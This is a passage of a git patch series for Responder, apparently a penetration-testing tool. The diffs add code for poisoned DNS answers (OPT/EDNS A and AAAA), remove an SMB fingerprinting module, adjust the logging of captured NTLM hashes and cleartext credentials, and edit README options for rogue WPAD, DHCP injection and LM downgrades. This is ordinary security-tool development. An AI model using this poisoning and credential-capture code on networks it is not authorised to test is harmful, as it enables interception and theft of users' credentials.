Let's get the local link addr + IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, "")) + return IP + except: + IP = '::1' + print("[+] You don't have an IPv6 address assigned.") + return IP + + else: + return OURIP + + except socket.error: + print(color("[!] Error: %s: Interface not found" % Iface, 1)) + sys.exit(-1) + # Function used to write captured hashs to a file. def WriteData(outfile, data, user): logging.info("[*] Captured Hash: %s" % data) @@ -336,14 +422,20 @@ def SaveDHCPToDb(result): cursor.close() def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] ==b'\x1c': - return False + if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01': + return 'IPv6' elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': return True elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': return True return False +def IsIPv6(data): + if "::ffff:" in data: + return False + else: + return True + def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: from string import printable @@ -435,14 +527,18 @@ def StartupMessage(): print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) - print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') print(color("[+] ", 2, 1) + "Generic Options:") print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) + print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1)) + if settings.Config.ExternalIP: + print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1)) + if settings.Config.ExternalIP6: + print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1)) + print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) - if settings.Config.Upstream_Proxy: print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) From 0b56d6aaeb00406b364cf152b258365393d64ccc Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 10:10:08 -0300 Subject: [PATCH 119/219] removed fingerprint.py --- fingerprint.py | 66 -------------------------------------------------- 1 file changed, 66 deletions(-) delete mode 100644 fingerprint.py diff --git a/fingerprint.py b/fingerprint.py deleted file mode 100644 index 382a1e1..0000000 --- a/fingerprint.py +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import socket -import struct -import sys - -from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3 -from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData - -def OsNameClientVersion(data): - try: - if (sys.version_info > (3, 0)): - length = struct.unpack('i', str(Packet))+str(Packet) - s.send(NetworkSendBufferPython2or3(Buffer1)) - data = s.recv(2048) - - if data[8:10] == b'\x72\x00': - Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") - Body = SMBSessionFingerData() - Body.calculate() - - Packet = str(Header)+str(Body) - Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(NetworkSendBufferPython2or3(Buffer1)) - data = s.recv(2048) - - if data[8:10] == b'\x73\x16': - return OsNameClientVersion(data) - except: - print(color("[!] ", 1, 1) +" Fingerprint failed") - return None From 5cf69228cf5ce4c0433904ee1d05955e8fd6f618 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 21 Dec 2021 22:39:02 -0300 Subject: [PATCH 120/219] added support for OPT EDNS --- packets.py | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++ servers/DNS.py | 42 ++++++++++++++++++++++++++----- 2 files changed, 103 insertions(+), 6 deletions(-) diff --git a/packets.py b/packets.py index 07c9a7d..03ec50f 100755 --- a/packets.py +++ b/packets.py @@ -89,6 +89,40 @@ class DNS_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# DNS Answer Packet OPT +class DNS_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS6_Ans(Packet): fields = OrderedDict([ @@ -115,6 +149,39 @@ class DNS6_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +class DNS6_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS_SRV_Ans(Packet): fields = OrderedDict([ diff --git a/servers/DNS.py b/servers/DNS.py index 97cf140..9c546e7 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -23,12 +23,15 @@ else: def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] + OPT = data[len(data)-22:len(data)-20] + if OPT == "\x00\x29": + return "OPTIPv4" # If Type A, Class IN, then answer. - if QueryTypeClass == "\x00\x01\x00\x01": + elif QueryTypeClass == "\x00\x01\x00\x01": return "A" - if QueryTypeClass == "\x00\x21\x00\x01": + elif QueryTypeClass == "\x00\x21\x00\x01": return "SRV" - if QueryTypeClass == "\x00\x1c\x00\x01": + elif QueryTypeClass == "\x00\x1c\x00\x01": return "IPv6" @@ -48,6 +51,13 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -62,8 +72,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + except Exception: - raise pass # DNS Server TCP Class @@ -82,6 +99,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -96,6 +120,12 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: - raise pass From afb54fa274dc41b04fc3cf14ac43ddf712f82bf7 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 11 Jan 2022 15:37:14 -0600 Subject: [PATCH 121/219] Updated the README and Responder help flags --- README.md | 41 +++++++++++++++++++---------------------- Responder.py | 2 +- 2 files changed, 20 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 9fbe7e8..28b2eef 100755 --- a/README.md +++ b/README.md @@ -125,51 +125,48 @@ Running the tool: Typical Usage Example: - ./Responder.py -I eth0 -rPv + ./Responder.py -I eth0 -Pv Options: - - --version show program's version number and exit - -h, --help show this help message and exit - -A, --analyze Analyze mode. This option allows you to see NBT-NS, + --version show program's version number and exit + -h, --help show this help message and exit + -A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. - -I eth0, --interface=eth0 + -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces - -i 10.0.0.21, --ip=10.0.0.21 + -i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX) - -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed + -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed Poison all requests with another IPv6 address than Responder's one. - -e 10.0.0.22, --externalip=10.0.0.22 + -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. - -b, --basic Return a Basic HTTP authentication. Default: NTLM - -r, --wredir Enable answers for netbios wredir suffix queries. - Answering to wredir will likely break stuff on the - network. Default: False - -d, --DHCP Enable answers for DHCP broadcast requests. This + -b, --basic Return a Basic HTTP authentication. Default: NTLM + -d, --DHCP Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False - -D, --DHCP-DNS This option will inject a DNS server in the DHCP + -D, --DHCP-DNS This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False - -w, --wpad Start the WPAD rogue proxy server. Default value is + -w, --wpad Start the WPAD rogue proxy server. Default value is False - -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY + -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) - -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file + -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False - -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) + -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False - --lm Force LM hashing downgrade for Windows XP/2003 and + --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False - --disable-ess Force ESS downgrade. Default: False - -v, --verbose Increase verbosity. + --disable-ess Force ESS downgrade. Default: False + -v, --verbose Increase verbosity. + diff --git a/Responder.py b/Responder.py index 17f0a68..fce3fb8 100755 --- a/Responder.py +++ b/Responder.py @@ -25,7 +25,7 @@ from utils import * import struct banner() -parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0]) +parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0]) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) From f85ad77d595f5d79b86ddce843bc884f1ff4ac9e Mon Sep 17 00:00:00 2001 From: Andrii Nechytailov Date: Thu, 3 Feb 2022 18:32:42 +0200 Subject: [PATCH 122/219] Fixed options formating in README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 28b2eef..c05e8c6 100755 --- a/README.md +++ b/README.md @@ -128,6 +128,7 @@ Typical Usage Example: ./Responder.py -I eth0 -Pv Options: + --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, From ee88da1af84680368b7da654297e3f97397dcd2e Mon Sep 17 00:00:00 2001 From: kitchung Date: Sun, 6 Feb 2022 16:35:01 -0800 Subject: [PATCH 123/219] DE-RPC server status not correct #189 Line 512 should read: print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) Instead of: print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index d82bdf5..ec38a54 100755 --- a/utils.py +++ b/utils.py @@ -509,7 +509,7 @@ def StartupMessage(): print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) - print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) print('') From b9f3ae35ee9ddad932a2e00745fd6453e12f93f5 Mon Sep 17 00:00:00 2001 From: Tom Aviv Date: Fri, 11 Feb 2022 23:24:00 +0200 Subject: [PATCH 124/219] MutableMapping was moved to collections.abc --- odict.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/odict.py b/odict.py index de0aa4e..666e3b1 100644 --- a/odict.py +++ b/odict.py @@ -1,9 +1,12 @@ import sys try: - from UserDict import DictMixin + from UserDict import DictMixin except ImportError: - from collections import UserDict - from collections import MutableMapping as DictMixin + from collections import UserDict + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From e7eb3bcce85c5d437082214c0e8044919cccee56 Mon Sep 17 00:00:00 2001 From: Gustaf Blomqvist Date: Thu, 28 Apr 2022 15:18:13 +0200 Subject: [PATCH 125/219] Fix double logging of first hash or cleartext --- utils.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/utils.py b/utils.py index ec38a54..423df33 100755 --- a/utils.py +++ b/utils.py @@ -337,16 +337,10 @@ def SaveToDb(result): logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) if not count: - with open(logfile,"a") as outf: - if len(result['cleartext']): # If we obtained cleartext credentials, write them to file - outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) - else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') - cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - if settings.Config.CaptureMultipleHashFromSameHost: + if not count or settings.Config.CaptureMultipleHashFromSameHost: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) From 0ced7d52c026a88cde2eeba2e58db1ba18cff04c Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Sun, 8 May 2022 20:54:23 +0200 Subject: [PATCH 126/219] odict: fix import issue --- tools/odict.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/odict.py b/tools/odict.py index 107cb01..714cf67 100644 --- a/tools/odict.py +++ b/tools/odict.py @@ -3,7 +3,7 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From d1cb26bda7360a48912c3b7253bbc50bbfc4ef15 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Fri, 13 May 2022 18:06:35 +0200 Subject: [PATCH 127/219] keep compatibility with previous versions --- tools/odict.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/odict.py b/tools/odict.py index 714cf67..ca11f01 100644 --- a/tools/odict.py +++ b/tools/odict.py @@ -3,7 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections.abc import MutableMapping as DictMixin + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From 0c7a3ffabeee77cb9f3d960168a357e9583b2f9f Mon Sep 17 00:00:00 2001 From: cweedon Date: Tue, 17 May 2022 12:20:28 -0500 Subject: [PATCH 128/219] Fix missing paren error added parentheses to the print call to fix the error --- Report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Report.py b/Report.py index d5cc054..1e8640a 100755 --- a/Report.py +++ b/Report.py @@ -107,7 +107,7 @@ GetResponderUsernames(cursor) print(color("\n[+] Username details:", code = 2, modifier = 1)) GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) -print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1) +print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)) cursor.close() try: cursor = FingerDbConnect() From 03fa9a7187c80586629c58a297d0d78f2f8da559 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 17 May 2022 21:38:01 -0300 Subject: [PATCH 129/219] removed -r references --- README.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index c05e8c6..7689c42 100755 --- a/README.md +++ b/README.md @@ -20,11 +20,11 @@ Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Succes - Built-in MSSQL Auth server. -In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. +This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. - Built-in HTTP Auth server. -In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. +This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. @@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri - Built-in LDAP Auth server. -In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. +This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. - Built-in DCE-RPC Auth server. -In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. +This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. - Built-in FTP, POP3, IMAP, SMTP Auth servers. @@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor This module allows to find the PDC in stealth mode. -- Fingerprinting - -When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. - - Icmp Redirect python tools/Icmp-Redirect.py @@ -161,8 +157,7 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. This option is highly effective when combined with - -r. Default: False + ON. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False @@ -177,9 +172,14 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu "GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH" -Or BTC address: +Paypal: + +https://paypal.me/PythonResponder + +Patreon: + +https://www.patreon.com/PythonResponder -"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q" ## Acknowledgments ## From 983a1c6576cb7dfe6cabea93e56dc4f2c557621b Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 17 May 2022 21:48:02 -0300 Subject: [PATCH 130/219] removed -r reference from help msg. --- Responder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.py b/Responder.py index fce3fb8..916687a 100755 --- a/Responder.py +++ b/Responder.py @@ -39,7 +39,7 @@ parser.add_option('-w','--wpad', action="store_true", help="Start the parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) -parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) From 9b1c99ccd29890496b0194c061266997e28be4c0 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 12 Jul 2022 20:15:36 -0300 Subject: [PATCH 131/219] Fixed: Warnings on python 3.10 --- Responder.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/Responder.py b/Responder.py index 916687a..34caa30 100755 --- a/Responder.py +++ b/Responder.py @@ -250,18 +250,20 @@ def serve_thread_SSL(host, port, handler): cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) - + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(cert, key) if OsInterfaceIsSupported(): server = ThreadingTCPServer(('', port), handler) - server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) + server.socket = context.wrap_socket(server.socket, server_side=True) server.serve_forever() else: server = ThreadingTCPServer(('', port), handler) - server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) + server.socket = context.wrap_socket(server.socket, server_side=True) server.serve_forever() except: print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") + def main(): try: if (sys.version_info < (3, 0)): @@ -363,7 +365,7 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) for thread in threads: - thread.setDaemon(True) + thread.daemon = True thread.start() if settings.Config.AnalyzeMode: From 15d03bc90295912263d4c53c0c390fc57f6f6e1e Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 26 Jul 2022 14:56:18 -0300 Subject: [PATCH 132/219] Minor bugs and display/logging fixes + RDP srv SSLwrapping fix --- poisoners/LLMNR.py | 6 +++--- poisoners/MDNS.py | 6 +++--- poisoners/NBTNS.py | 5 ++--- servers/Browser.py | 4 ++-- servers/DNS.py | 20 ++++++++++---------- servers/HTTP.py | 10 +++++----- servers/HTTP_Proxy.py | 4 ++-- servers/LDAP.py | 2 +- servers/MSSQL.py | 2 +- servers/Proxy_Auth.py | 4 ++-- servers/RDP.py | 10 +++++++--- servers/RPC.py | 6 +++--- servers/SMB.py | 1 - servers/WinRM.py | 4 ++-- settings.py | 2 +- utils.py | 8 ++++++-- 16 files changed, 50 insertions(+), 44 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 296302b..0952325 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -64,7 +64,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class if data[2:4] == b'\x00\x00' and LLMNRType: if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" - print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -77,7 +77,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s 